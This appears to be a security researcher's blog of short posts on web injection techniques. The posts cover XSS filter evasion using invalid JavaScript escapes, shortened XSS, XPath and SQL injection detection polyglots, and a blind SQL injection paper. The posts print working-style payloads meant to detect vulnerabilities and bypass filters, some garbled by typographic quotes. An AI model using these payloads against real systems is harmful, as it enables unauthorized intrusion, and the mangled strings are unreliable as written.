New SQL injection exploitation methods.

I came to the conclusion that the blind SQL injection attack vectors we use are very old and there is a huge room of improvement to make them much faster and more efficient.

I wrote a paper where I documented these optimized injection vectors and it got accepted to Hackfest Quebec, B-Sides Philly and Hack in Paris (which I missed because I was severely jet-lagged and I feel very ashamed to say so).

For a self-explanatory and condensed version of the paper, you can find the slides of the talk HERE.

If you prefer detailed explanations, you can find the paper in .txt format HERE.

The tools are yet to be released. I need to find a decent python compiler so that the tools can compete fairly with sqlmap.

Greetings.

2023-08-04
XSS filter evasion through invalid escapes

Most of the time, XSS filters look for specific keywords to detect invocation of dangerous functions or variables. A very common bypass technique is to break these specific character sequences like this:

window[‘ale’+’rt’](1)
window[‘alexrt’.replace(/x/,”)](1)

Several years ago I found a nice feature in javascript that allows the attacker to break character sequences in a very easy, quick, straight-forward way. It consists of escaping characters that do not have an escape sequence assigned. For instance, this are valid escapes in javascript:

\’ Simple quote
\” Double doble
\ Backslash
\n New line
\r Carriage return
\v Vertical tab
\t Tab
\b Backspace
\f Page forward

Those characters will be escaped to their corresponding values if you add a backslash before them.

If you use a backslash before any other character javascript will simply ignore the backslashes, so the string will be broken while still preserving its meaning:

window[‘\a\l\ert’](1)
window[‘\pr\o\m\pt’](1)

I hope this will help to do your hacking simpler and faster.

2023-07-28
XSS Detection Optimization

I noticed that Gareth Heyes has a sweet one-liner XSS testing polyglot in his twitter profile (@GarethHeyes). I thought it would be fun to see if I could optimize it by making it shorter and more functional.

I managed to shorten the length by 10 bytes and surprisingly enough it also works in one more context. This is the one-liner polyglot:

javascript:/*</title></textarea></style –></xmp></script><svg/onload=’//”/**/%0a
onmouseover=alert()//’>


It is 103 bytes long and it works in one more context than Gareth’s (his doesn’t work in single line comment contexts (//).

I decided to improve it so that it works in every possible context:

<script>xss</script>
<script>a=’xss‘</script>
<script>a=”xss“</script>
<script>a=”xss“</script>
<script>//xss</script>
<script>/*xss*/</script>
<a href=’xss‘></a>
<title>xss</title>
<textarea>xss</textarea>
<style>xss</style>
<div>xss</div>
<div xss></div>
<div class=’xss‘></div>
<div class=”xss“></div>
<div class=xss></div>
<noscript>xss</noscript>
<noembed>xss</noembed>
<!– xss –>
<xmp>xss</xmp>
<math>xss</math>
<frameset>xss</frameset>

The resulting vector is:

javascript:/*</title></textarea></style –></xmp></script></noembed></noscript></math><svg/onload=’//”/**/%0aonmouseover=alert()//’>

This means that instead of having to send 21 requests to each parameter when testing an application, you only have to make 1 request. This gets the job done in only 5% of the time.


Can you make it even shorter? Let me know in the comments or through twitter (@tr3w_)

2023-07-12
XPath Injection Detection Optimization

As a follow-up to the previous post “SQL Injection Detection Optimization“, I wanted to post a testing polyglot which works for testing against XPath injection vulnerabilities:

or 1(:’or”or'”!=’!=”:)

Numeric context:
or 1(:’or”or'”!=’!=”:)

Single quotation:
 or 1(:‘or”or’“!=’!=”:)

Double quotation:
 or 1(:’or“or’“!=’!=”:)

See if you can come up with one that is shorter.

(: Have a happy day :)

SQL Injection Detection Optimization

In Black Hat 2013, Roberto Salgado (@LightOS) came up with the idea of optimizing the detection phase for SQL injection vulnerabilities.

Usually, to test if a parameter is vulnerable to SQL injection, a maximum of six requests must be performed to find out the context of the injection. It might be between single quotes (‘), double quotes (“) or with no delimiters at all:

TRUE RESPONSES
-1′ or ‘1’=’1
-1″ or “1”=”1
-1 or 1=0

FALSE RESPONSES
-1′ or ‘1’=’0
-1″ or “1”=”0
-1 or 1=0


This means that if, for instance, there are 100 parameteres in the application, a maximum of 600 requests should be performed in order to test all parameters against SQL injection.

LightOS came up with the idea of detecting vulnerable parameters with just one request by fusing the three testing vectors. This is the multi-context functional polyglot that works in any of the already three mentioned contexts:

-1 OR 1#”or”‘OR”='”=”‘OR”=’

Numeric context:
–1 OR 1#“or”‘OR”='”=”‘OR”=’

Double quotation:
-1 OR 1#“or”‘OR”=’“=”‘OR”=’

Single quotation:
–1 OR 1#”or”‘OR”=’“=”‘OR”=’

You can find his slides in the following link: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf

Mirror: https://nzt-48.org/presentations/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf

I wanted to see if I could optimize this further by making the vector shorter in length. Surprisingly, I managed to shorten LightOS’s vector by 7 bytes (from 29 to 22). Here is the result:

-1 or 1#’or”or'”!=’!=”

Numeric context:
–1 or 1#‘or”or'”!=’!=”

Single quotation:
–1 or 1#‘or”or’“!=‘!=“

Double quotation:
-1 or 1#’or“or’“!=‘!=”

This means that instead of performing 300 requests, only 100 requests are needed; the process has been optimized by making it 300% faster.

See if you can make it even shorter.